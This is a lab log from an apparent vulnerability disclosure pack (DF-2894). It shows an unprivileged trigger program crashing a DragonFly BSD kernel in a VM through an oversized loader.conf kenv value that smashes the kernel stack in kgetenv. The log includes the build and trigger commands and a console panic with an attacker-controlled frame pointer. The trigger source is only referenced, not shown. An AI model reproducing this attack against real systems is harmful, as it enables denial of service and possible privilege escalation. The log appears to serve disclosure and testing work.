# DF-2894 — decisive run (unprivileged trigger; guest dfbsd, 2026-09-02)

# build (as maxx, uid=1001) — guest /tmp (cleared by reboot, so rebuilt post-boot):
$ cat > /tmp/df2894_trigger.c <<'EOF' ... (contents = trigger.c in this pack; the
  heredoc-escaped copy used on the guest printed the printf formats literally in
  the control run — cosmetic only, the pack's trigger.c is canonical)
$ cc -O2 -o /tmp/df2894_trigger /tmp/df2894_trigger.c
/tmp/df2894_trigger.c: In function 'main':
/tmp/df2894_trigger.c:9:6: warning: implicit declaration of function 'kenv'; did you mean 'putenv'? [-Wimplicit-function-declaration]
      r = kenv(0, name, buf, sizeof(buf) - 1);
      ^~~~
      putenv
BUILD_OK

# setup check (as root, after `shutdown -r now` with the loader.conf plant):
$ kenv | grep -c '^audit.smash='
1
$ kenv | grep '^audit.hello='
audit.hello="PANGRAM_CONTROL"
$ kenv audit.hello
PANGRAM_CONTROL

# trigger (as maxx):
$ /tmp/df2894_trigger audit.hello
kenv GET %s -> len=%d val=%.32s...        <- control: syscall returned, exit 0
CONTROL_EXIT=0
$ /tmp/df2894_trigger audit.smash
                                            <- NEVER RETURNS (kernel stack smashed;
                                               ssh session hung until tool timeout)

# serial console (dfbsd-qemu/vm.sh log):
Fatal trap 9: general protection fault while in kernel mode
cpuid = 5; lapic id = 5
instruction pointer	= 0x8:0xffffffff806393ca
stack pointer	        = 0x10:0xfffff8011815c8d0
frame pointer	        = 0x10:0x4141414141414141
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 0, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 824
current thread          = pri 6
kernel: type 9 trap, code=0

CPU5 stopping CPUs: 0x0000001f
 stopped
Stopped at      kgetenv.part.4+0xea:    ret
db>

# frame pointer 0x4141414141414141 == the 'A' bytes of the planted loader.conf
# value; fault at kgetenv's `ret`. Guest down in DDB. Full console capture: panic.txt